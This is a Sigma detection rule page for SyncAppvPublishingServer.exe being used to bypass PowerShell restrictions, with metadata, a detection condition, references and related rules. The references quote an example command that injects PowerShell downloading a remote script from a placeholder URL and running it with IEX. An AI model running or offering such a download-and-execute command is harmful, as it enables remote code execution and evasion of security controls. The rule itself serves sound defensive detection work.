SyncAppvPublishingServer Execution to Bypass Powershell Restriction

 1title: SyncAppvPublishingServer Execution to Bypass Powershell Restriction
 2id: dddfebae-c46f-439c-af7a-fdb6bde90218
 3related:
 4    - id: fde7929d-8beb-4a4c-b922-be9974671667
 5      type: derived
 6    - id: 9f7aa113-9da6-4a8d-907c-5f1a4b908299
 7      type: derived
 8status: test
 9description: Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.
10references:
11    - https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/
12author: 'Ensar Şamil, @sblmsrsn, OSCD Community'
13date: 2020/10/05
14modified: 2022/12/25
15tags:
16    - attack.defense_evasion
17    - attack.t1218
18logsource:
19    product: windows
20    category: ps_script
21    definition: 'Requirements: Script Block Logging must be enabled'
22detection:
23    selection:
24        ScriptBlockText|contains: 'SyncAppvPublishingServer.exe'
25    condition: selection
26falsepositives:
27    - App-V clients
28level: medium

References

• Syncappvpublishingserver | LOLBAS

  Example command on how inject Powershell code into the process SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX" Use caseUse SyncAppvPub...

  
  Read More

Related rules

• Application Bypass with RunDLL32 and DllRegisterServer Function
• Rundll32 with Suspicious Export Functionalities
• Rundll32 with Suspicious Process Lineage
• Rundll32 without Command Line
• DLL Execution via Rasautou.exe